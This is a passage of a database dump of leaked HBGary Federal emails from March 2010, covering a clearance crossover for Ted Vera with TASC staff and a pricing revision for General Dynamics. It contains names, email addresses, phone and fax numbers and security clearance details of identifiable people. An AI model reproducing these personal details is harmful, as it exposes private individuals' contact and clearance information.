for\r\nISA.&nbsp; I\'ll get back to you ASAP.&nbsp; I\'d love to start talking about the\r\nCOIN work.\r\n&gt;\r\n&gt; Chris\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Thu 3/11/2010 9:30 PM\r\n&gt; To: Clair, Chris (TASC)\r\n&gt; Subject: Re: Ted Vera\r\n&gt;\r\n&gt; Wow I don\'t understand?&nbsp; He was fully cleared ISA prior to leaving\r\nNorthrop and had an SCI in JPAS I am pretty sure so it really catches me by\r\nsurprise that he would need to start from scratch.&nbsp; Do you have any\r\ninsight from past experience as to why this would be?&nbsp; Is it possible he\r\nwas submitted for an ISSA like me by accident?\r\n&gt;\r\n&gt; I know that customers security is pretty cagey with answers.\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; On Mar 11, 2010, at 9:26 PM, Clair, Chris (TASC) wrote:\r\n&gt;\r\n&gt; &gt; I believe he only had a ISA.\r\n&gt; &gt;\r\n&gt; &gt; Chris\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; -----Original Message-----\r\n&gt; &gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; &gt; Sent: Thu 3/11/2010 5:02 PM\r\n&gt; &gt; To: Clair, Chris (TASC)\r\n&gt; &gt; Subject: Re: Ted Vera\r\n&gt; &gt;\r\n&gt; &gt; Is this for an ISA or ISSA?\r\n&gt; &gt;\r\n&gt; &gt; Aaron\r\n&gt; &gt;\r\n&gt; &gt; On Mar 11, 2010, at 4:39 PM, Clair, Chris (TASC) wrote:\r\n&gt; &gt;\r\n&gt; &gt; &gt; Hi Aaron,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; I got this bit of news in the mail.&nbsp; Were you aware of\r\nthis?&nbsp; We are looking at 16 months to clear him for an initial.&nbsp; How\r\ndo you want to proceed?\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Let me know,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Chris\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; _____________________________________________\r\n&gt; &gt; &gt; From: Willson, Jonathan G (TASC)\r\n&gt; &gt; &gt; Sent: Thursday, March 11, 2010 3:19 PM\r\n&gt; &gt; &gt; To: Clair, Chris (TASC)\r\n&gt; &gt; &gt; Cc: Choate, William R (TASC)\r\n&gt; &gt; &gt; Subject: Ted Vera\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Chris,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; I received a notification from the customer today that they will\r\nnot be able to crossover Ted Vera\'s clearance. They said he must be submitted\r\nas an initial case. Please let me know how you would like to proceed.\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Thanks,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Jonathan Willson\r\n&gt; &gt; &gt; Personnel Security\r\n&gt; &gt; &gt; Northrop Grumman TASC\r\n&gt; &gt; &gt; 4801 Stonecroft Blvd.\r\n&gt; &gt; &gt; Chantilly, VA 20151\r\n&gt; &gt; &gt; 703.653.5779 (phone)\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; 703.633.8460 (fax)\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; Aaron Barr\r\n&gt; &gt; CEO\r\n&gt; &gt; HBGary Federal Inc.\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3819,'aaron_hbgary_com/3819.html'),(3981,'2010-03-12','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297002095.M825772P3547Q3981.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Ted Vera','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat, please call me after you are done and I will meet you.\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, March 12, 2010 7:09 AM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Ted Vera\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOk. &nbsp;Briefing starts at 830.\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 12, 2010, at 7:06 AM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nWhat time are you being briefed?&nbsp; Maybe we can grab a cup of coffee after\r\nthat.&nbsp; We\'ll discuss next steps then but I do not believe you need go to\r\nthe customer site.&nbsp; All I need is notification that your clearance\r\ncrossedover.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 3/11/2010 9:51 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Ted Vera\r\n\r\nAgreed.&nbsp; Well I believe I am supposed to get briefed on Tuesday at your\r\nfacility.&nbsp; So anytime after that.&nbsp; Or do I need to go out to the\r\ncustomer facility for any briefings/badging? or does the Tuesday briefing\r\nsuffice?\r\n\r\nAaron\r\n\r\nOn Mar 11, 2010, at 9:45 PM, Clair, Chris (TASC) wrote:\r\n\r\n&gt; Good point, I\'ll check with our security to make sure he was submitted for\r\nISA.&nbsp; I\'ll get back to you ASAP.&nbsp; I\'d love to start talking about the\r\nCOIN work.\r\n&gt;\r\n&gt; Chris\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Thu 3/11/2010 9:30 PM\r\n&gt; To: Clair, Chris (TASC)\r\n&gt; Subject: Re: Ted Vera\r\n&gt;\r\n&gt; Wow I don\'t understand?&nbsp; He was fully cleared ISA prior to leaving\r\nNorthrop and had an SCI in JPAS I am pretty sure so it really catches me by\r\nsurprise that he would need to start from scratch.&nbsp; Do you have any\r\ninsight from past experience as to why this would be?&nbsp; Is it possible he\r\nwas submitted for an ISSA like me by accident?\r\n&gt;\r\n&gt; I know that customers security is pretty cagey with answers.\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; On Mar 11, 2010, at 9:26 PM, Clair, Chris (TASC) wrote:\r\n&gt;\r\n&gt; &gt; I believe he only had a ISA.\r\n&gt; &gt;\r\n&gt; &gt; Chris\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; -----Original Message-----\r\n&gt; &gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; &gt; Sent: Thu 3/11/2010 5:02 PM\r\n&gt; &gt; To: Clair, Chris (TASC)\r\n&gt; &gt; Subject: Re: Ted Vera\r\n&gt; &gt;\r\n&gt; &gt; Is this for an ISA or ISSA?\r\n&gt; &gt;\r\n&gt; &gt; Aaron\r\n&gt; &gt;\r\n&gt; &gt; On Mar 11, 2010, at 4:39 PM, Clair, Chris (TASC) wrote:\r\n&gt; &gt;\r\n&gt; &gt; &gt; Hi Aaron,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; I got this bit of news in the mail.&nbsp; Were you aware of\r\nthis?&nbsp; We are looking at 16 months to clear him for an initial.&nbsp; How\r\ndo you want to proceed?\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Let me know,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Chris\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; _____________________________________________\r\n&gt; &gt; &gt; From: Willson, Jonathan G (TASC)\r\n&gt; &gt; &gt; Sent: Thursday, March 11, 2010 3:19 PM\r\n&gt; &gt; &gt; To: Clair, Chris (TASC)\r\n&gt; &gt; &gt; Cc: Choate, William R (TASC)\r\n&gt; &gt; &gt; Subject: Ted Vera\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Chris,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; I received a notification from the customer today that they will\r\nnot be able to crossover Ted Vera\'s clearance. They said he must be submitted\r\nas an initial case. Please let me know how you would like to proceed.\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Thanks,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Jonathan Willson\r\n&gt; &gt; &gt; Personnel Security\r\n&gt; &gt; &gt; Northrop Grumman TASC\r\n&gt; &gt; &gt; 4801 Stonecroft Blvd.\r\n&gt; &gt; &gt; Chantilly, VA 20151\r\n&gt; &gt; &gt; 703.653.5779 (phone)\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; 703.633.8460 (fax)\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; Aaron Barr\r\n&gt; &gt; CEO\r\n&gt; &gt; HBGary Federal Inc.\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9539,'aaron_hbgary_com/9539.html'),(3982,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002096.M10011P3547Q3982.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Ted Vera','Sounds good. &nbsp;Any further information on Ted\'s clearance? &nbsp;Was it submitted for an ISSA or ISA?Thanks,AaronOn Mar 12, 2010, at 12:55 PM, Clair, Chris (TASC) wrote:Great, please call me after you are done and I will meet you.&nbsp;Chris&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, March 12, 2010 7:09 AMTo:&nbsp;Clair, Chris (TASC)Subject:&nbsp;Re: Ted Vera&nbsp;Ok. &nbsp;Briefing starts at 830.AaronFrom my iPhoneOn Mar 12, 2010, at 7:06 AM, \"Clair, Chris (TASC)\" &lt;CHRISTOPHER.CLAIR@tasc.com&gt; wrote:Hi Aaron,What time are you being briefed?&nbsp; Maybe we can grab a cup of coffee after that.&nbsp; We\'ll discuss next steps then but I do not believe you need go to the customer site.&nbsp; All I need is notification that your clearance crossedover.Chris-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]Sent: Thu 3/11/2010 9:51 PMTo: Clair, Chris (TASC)Subject: Re: Ted VeraAgreed.&nbsp; Well I believe I am supposed to get briefed on Tuesday at your facility.&nbsp; So anytime after that.&nbsp; Or do I need to go out to the customer facility for any briefings/badging? or does the Tuesday briefing suffice?AaronOn Mar 11, 2010, at 9:45 PM, Clair, Chris (TASC) wrote:&gt; Good point, I\'ll check with our security to make sure he was submitted for ISA.&nbsp; I\'ll get back to you ASAP.&nbsp; I\'d love to start talking about the COIN work.&gt;&gt; Chris&gt;&gt;&gt; -----Original Message-----&gt; From: Aaron Barr [mailto:aaron@hbgary.com]&gt; Sent: Thu 3/11/2010 9:30 PM&gt; To: Clair, Chris (TASC)&gt; Subject: Re: Ted Vera&gt;&gt; Wow I don\'t understand?&nbsp; He was fully cleared ISA prior to leaving Northrop and had an SCI in JPAS I am pretty sure so it really catches me by surprise that he would need to start from scratch.&nbsp; Do you have any insight from past experience as to why this would be?&nbsp; Is it possible he was submitted for an ISSA like me by accident?&gt;&gt; I know that customers security is pretty cagey with answers.&gt;&gt; Aaron&gt;&gt; On Mar 11, 2010, at 9:26 PM, Clair, Chris (TASC) wrote:&gt;&gt; &gt; I believe he only had a ISA.&gt; &gt;&gt; &gt; Chris&gt; &gt;&gt; &gt;&gt; &gt; -----Original Message-----&gt; &gt; From: Aaron Barr [mailto:aaron@hbgary.com]&gt; &gt; Sent: Thu 3/11/2010 5:02 PM&gt; &gt; To: Clair, Chris (TASC)&gt; &gt; Subject: Re: Ted Vera&gt; &gt;&gt; &gt; Is this for an ISA or ISSA?&gt; &gt;&gt; &gt; Aaron&gt; &gt;&gt; &gt; On Mar 11, 2010, at 4:39 PM, Clair, Chris (TASC) wrote:&gt; &gt;&gt; &gt; &gt; Hi Aaron,&gt; &gt; &gt;&gt; &gt; &gt; I got this bit of news in the mail.&nbsp; Were you aware of this?&nbsp; We are looking at 16 months to clear him for an initial.&nbsp; How do you want to proceed?&gt; &gt; &gt;&gt; &gt; &gt; Let me know,&gt; &gt; &gt;&gt; &gt; &gt;&gt; &gt; &gt; Chris&gt; &gt; &gt;&gt; &gt; &gt;&gt; &gt; &gt; _____________________________________________&gt; &gt; &gt; From: Willson, Jonathan G (TASC)&gt; &gt; &gt; Sent: Thursday, March 11, 2010 3:19 PM&gt; &gt; &gt; To: Clair, Chris (TASC)&gt; &gt; &gt; Cc: Choate, William R (TASC)&gt; &gt; &gt; Subject: Ted Vera&gt; &gt; &gt;&gt; &gt; &gt;&gt; &gt; &gt; Chris,&gt; &gt; &gt;&gt; &gt; &gt; I received a notification from the customer today that they will not be able to crossover Ted Vera\'s clearance. They said he must be submitted as an initial case. Please let me know how you would like to proceed.&gt; &gt; &gt;&gt; &gt; &gt; Thanks,&gt; &gt; &gt;&gt; &gt; &gt; Jonathan Willson&gt; &gt; &gt; Personnel Security&gt; &gt; &gt; Northrop Grumman TASC&gt; &gt; &gt; 4801 Stonecroft Blvd.&gt; &gt; &gt; Chantilly, VA 20151&gt; &gt; &gt; 703.653.5779 (phone)&gt; &gt; &gt;&gt; &gt; &gt; 703.633.8460 (fax)&gt; &gt; &gt;&gt; &gt; &gt;&gt; &gt;&gt; &gt; Aaron Barr&gt; &gt; CEO&gt; &gt; HBGary Federal Inc.&gt; &gt;&gt; &gt;&gt; &gt;&gt; &gt;&gt; &gt;&gt;&gt; Aaron Barr&gt; CEO&gt; HBGary Federal Inc.&gt;&gt;&gt;&gt;&gt;Aaron BarrCEOHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3867,'aaron_hbgary_com/3867.html'),(3983,'2010-03-12','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297002096.M208683P3547Q3983.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Ted Vera','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSecurity says he was submitted for an ISA.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, March 12, 2010 1:01 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Ted Vera\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSounds good. &nbsp;Any further information on Ted\'s\r\nclearance? &nbsp;Was it submitted for an ISSA or ISA?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 12, 2010, at 12:55 PM, Clair, Chris (TASC) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat, please call me after you are done and I will meet you.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nChris\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, March 12,\r\n2010 7:09 AM\r\nTo:&nbsp;Clair, Chris (TASC)\r\nSubject:&nbsp;Re: Ted Vera\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOk. &nbsp;Briefing starts at 830.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 12, 2010, at 7:06 AM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nWhat time are you being briefed?&nbsp; Maybe we can grab a cup of coffee after\r\nthat.&nbsp; We\'ll discuss next steps then but I do not believe you need go to\r\nthe customer site.&nbsp; All I need is notification that your clearance\r\ncrossedover.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 3/11/2010 9:51 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Ted Vera\r\n\r\nAgreed.&nbsp; Well I believe I am supposed to get briefed on Tuesday at your\r\nfacility.&nbsp; So anytime after that.&nbsp; Or do I need to go out to the\r\ncustomer facility for any briefings/badging? or does the Tuesday briefing\r\nsuffice?\r\n\r\nAaron\r\n\r\nOn Mar 11, 2010, at 9:45 PM, Clair, Chris (TASC) wrote:\r\n\r\n&gt; Good point, I\'ll check with our security to make sure he was submitted for\r\nISA.&nbsp; I\'ll get back to you ASAP.&nbsp; I\'d love to start talking about the\r\nCOIN work.\r\n&gt;\r\n&gt; Chris\r\n&gt;\r\n&gt;\r\n&gt; -----Original Message-----\r\n&gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; Sent: Thu 3/11/2010 9:30 PM\r\n&gt; To: Clair, Chris (TASC)\r\n&gt; Subject: Re: Ted Vera\r\n&gt;\r\n&gt; Wow I don\'t understand?&nbsp; He was fully cleared ISA prior to leaving\r\nNorthrop and had an SCI in JPAS I am pretty sure so it really catches me by\r\nsurprise that he would need to start from scratch.&nbsp; Do you have any\r\ninsight from past experience as to why this would be?&nbsp; Is it possible he\r\nwas submitted for an ISSA like me by accident?\r\n&gt;\r\n&gt; I know that customers security is pretty cagey with answers.\r\n&gt;\r\n&gt; Aaron\r\n&gt;\r\n&gt; On Mar 11, 2010, at 9:26 PM, Clair, Chris (TASC) wrote:\r\n&gt;\r\n&gt; &gt; I believe he only had a ISA.\r\n&gt; &gt;\r\n&gt; &gt; Chris\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; -----Original Message-----\r\n&gt; &gt; From: Aaron Barr [mailto:aaron@hbgary.com]\r\n&gt; &gt; Sent: Thu 3/11/2010 5:02 PM\r\n&gt; &gt; To: Clair, Chris (TASC)\r\n&gt; &gt; Subject: Re: Ted Vera\r\n&gt; &gt;\r\n&gt; &gt; Is this for an ISA or ISSA?\r\n&gt; &gt;\r\n&gt; &gt; Aaron\r\n&gt; &gt;\r\n&gt; &gt; On Mar 11, 2010, at 4:39 PM, Clair, Chris (TASC) wrote:\r\n&gt; &gt;\r\n&gt; &gt; &gt; Hi Aaron,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; I got this bit of news in the mail.&nbsp; Were you aware of\r\nthis?&nbsp; We are looking at 16 months to clear him for an initial.&nbsp; How\r\ndo you want to proceed?\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Let me know,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Chris\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; _____________________________________________\r\n&gt; &gt; &gt; From: Willson, Jonathan G (TASC)\r\n&gt; &gt; &gt; Sent: Thursday, March 11, 2010 3:19 PM\r\n&gt; &gt; &gt; To: Clair, Chris (TASC)\r\n&gt; &gt; &gt; Cc: Choate, William R (TASC)\r\n&gt; &gt; &gt; Subject: Ted Vera\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Chris,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; I received a notification from the customer today that they will\r\nnot be able to crossover Ted Vera\'s clearance. They said he must be submitted\r\nas an initial case. Please let me know how you would like to proceed.\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Thanks,\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; Jonathan Willson\r\n&gt; &gt; &gt; Personnel Security\r\n&gt; &gt; &gt; Northrop Grumman TASC\r\n&gt; &gt; &gt; 4801 Stonecroft Blvd.\r\n&gt; &gt; &gt; Chantilly, VA 20151\r\n&gt; &gt; &gt; 703.653.5779 (phone)\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt; 703.633.8460 (fax)\r\n&gt; &gt; &gt;\r\n&gt; &gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt; Aaron Barr\r\n&gt; &gt; CEO\r\n&gt; &gt; HBGary Federal Inc.\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt; &gt;\r\n&gt;\r\n&gt; Aaron Barr\r\n&gt; CEO\r\n&gt; HBGary Federal Inc.\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13818,'aaron_hbgary_com/13818.html'),(3984,'2010-03-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002097.M783622P3547Q3984.eml','Chris.Starr@gd-ais.com,\"Aaron Barr\" <aaron@hbgary.com>','Reduced Pricing','Chris,\r\n\r\nAaron and I just finished revising our pricing in an effort to achieve\r\nGD\'s 30% cost savings goal.  We got pretty close, but had to eliminate\r\nsupport to Task 7.  Please review, and feel free to contact Aaron if you\r\nhave any questions or concerns.\r\n\r\nIf this looks good, then please let me know and I will re-run the\r\nnumbers through Pro-Pricer so we can send an official version to Cindy.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n',7456,'aaron_hbgary_com/7456.html'),(3985,'2010-03-12','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002098.M201673P3547Q3986.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Fwd: Ted Vera','Would it be possible to have TASC security confirm with Customer\r\nsecurity that it was submitted for an ISA cross-over?\r\n\r\nTed\r\n\r\n\r\n\r\nOn 3/12/10 11:21 AM, Aaron Barr wrote:\r\n> From my iPhone\r\n> \r\n> Begin forwarded message:\r\n> \r\n> *From:* \"Clair, Chris (TASC)\" \r\n> *Date:* March 12, 2010 1:09:01 PM EST\r\n> *To:* \"Aaron Barr\" \r\n> *Subject:* *RE: Ted Vera*\r\n> \r\n>  Security says he was submitted for an ISA.\r\n> \r\n> \r\n> \r\n> *From:* Aaron Barr [mailto:aaron@hbgary.com]\r\n> *Sent:* Friday, March 12, 2010 1:01 PM\r\n> *To:* Clair, Chris (TASC)\r\n> *Subject:* Re: Ted Vera\r\n> \r\n> \r\n> \r\n> Sounds good.  Any further information on Ted\'s clearance?  Was it submitted\r\n> for an ISSA or ISA?\r\n> \r\n> \r\n> \r\n> Thanks,\r\n> \r\n> Aaron\r\n> \r\n> \r\n> \r\n> On Mar 12, 2010, at 12:55 PM, Clair, Chris (TASC) wrote:\r\n> \r\n> \r\n> \r\n>   Great, please call me after you are done and I will meet you.\r\n> \r\n> \r\n> \r\n> Chris\r\n> \r\n> \r\n> \r\n> *From:* Aaron Barr [mailto:aaron@hbgary.com]\r\n> *Sent:* Friday, March 12, 2010 7:09 AM\r\n> *To:* Clair, Chris (TASC)\r\n> *Subject:* Re: Ted Vera\r\n> \r\n> \r\n> \r\n> Ok.  Briefing starts at 830.\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> \r\n> On Mar 12, 2010, at 7:06 AM, \"Clair, Chris (TASC)\"  CHRISTOPHER.CLAIR@tasc.com> wrote:\r\n> \r\n>  Hi Aaron,\r\n> \r\n> What time are you being briefed?  Maybe we can grab a cup of coffee after\r\n> that.  We\'ll discuss next steps then but I do not believe you need go to the\r\n> customer site.  All I need is notification that your clearance crossedover.\r\n> \r\n> Chris\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com \r\n> ]\r\n> Sent: Thu 3/11/2010 9:51 PM\r\n> To: Clair, Chris (TASC)\r\n> Subject: Re: Ted Vera\r\n> \r\n> Agreed.  Well I believe I am supposed to get briefed on Tuesday at your\r\n> facility.  So anytime after that.  Or do I need to go out to the customer\r\n> facility for any briefings/badging? or does the Tuesday briefing suffice?\r\n> \r\n> Aaron\r\n> \r\n> On Mar 11, 2010, at 9:45 PM, Clair, Chris (TASC) wrote:\r\n> \r\n>> Good point, I\'ll check with our security to make sure he was submitted for\r\n> ISA.  I\'ll get back to you ASAP.  I\'d love to start talking about the COIN\r\n> work.\r\n>>\r\n>> Chris\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com \r\n> ]\r\n>> Sent: Thu 3/11/2010 9:30 PM\r\n>> To: Clair, Chris (TASC)\r\n>> Subject: Re: Ted Vera\r\n>>\r\n>> Wow I don\'t understand?  He was fully cleared ISA prior to leaving\r\n> Northrop and had an SCI in JPAS I am pretty sure so it really catches me by\r\n> surprise that he would need to start from scratch.  Do you have any insight\r\n> from past experience as to why this would be?  Is it possible he was\r\n> submitted for an ISSA like me by accident?\r\n>>\r\n>> I know that customers security is pretty cagey with answers.\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Mar 11, 2010, at 9:26 PM, Clair, Chris (TASC) wrote:\r\n>>\r\n>>> I believe he only had a ISA.\r\n>>>\r\n>>> Chris\r\n>>>\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com \r\n> ]\r\n>>> Sent: Thu 3/11/2010 5:02 PM\r\n>>> To: Clair, Chris (TASC)\r\n>>> Subject: Re: Ted Vera\r\n>>>\r\n>>> Is this for an ISA or ISSA?\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> On Mar 11, 2010, at 4:39 PM, Clair, Chris (TASC) wrote:\r\n>>>\r\n>>>> Hi Aaron,\r\n>>>>\r\n>>>> I got this bit of news in the mail.  Were you aware of this?  We are\r\n> looking at 16 months to clear him for an initial.  How do you want to\r\n> proceed?\r\n>>>>\r\n>>>> Let me know,\r\n>>>>\r\n>>>>\r\n>>>> Chris\r\n>>>>\r\n>>>>\r\n>>>> _____________________________________________\r\n>>>> From: Willson, Jonathan G (TASC)\r\n>>>> Sent: Thursday, March 11, 2010 3:19 PM\r\n>>>> To: Clair, Chris (TASC)\r\n>>>> Cc: Choate, William R (TASC)\r\n>>>> Subject: Ted Vera\r\n>>>>\r\n>>>>\r\n>>>> Chris,\r\n>>>>\r\n>>>> I received a notification from the customer today that they will not\r\n> be able to crossover Ted Vera\'s clearance. They said he must be submitted as\r\n> an initial case. Please let me know how you would like to proceed.\r\n>>>>\r\n>>>> Thanks,\r\n>>>>\r\n>>>> Jonathan Willson\r\n>>>> Personnel Security\r\n>>>> Northrop Grumman TASC\r\n>>>> 4801 Stonecroft Blvd.\r\n>>>> Chantilly, VA 20151\r\n>>>> 703.653.5779 (phone)\r\n>>>>\r\n>>>> 703.633.8460 (fax)\r\n>>>>\r\n>>>>\r\n>>>\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> Aaron Barr\r\n> \r\n> CEO\r\n> \r\n> HBGary Federal Inc.\r\n> \r\n\r\n',11382,'aaron_hbgary_com/11382.html'),(3986,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002098.M404867P3547Q3987.eml','\"Clair, Chris (TASC)\" 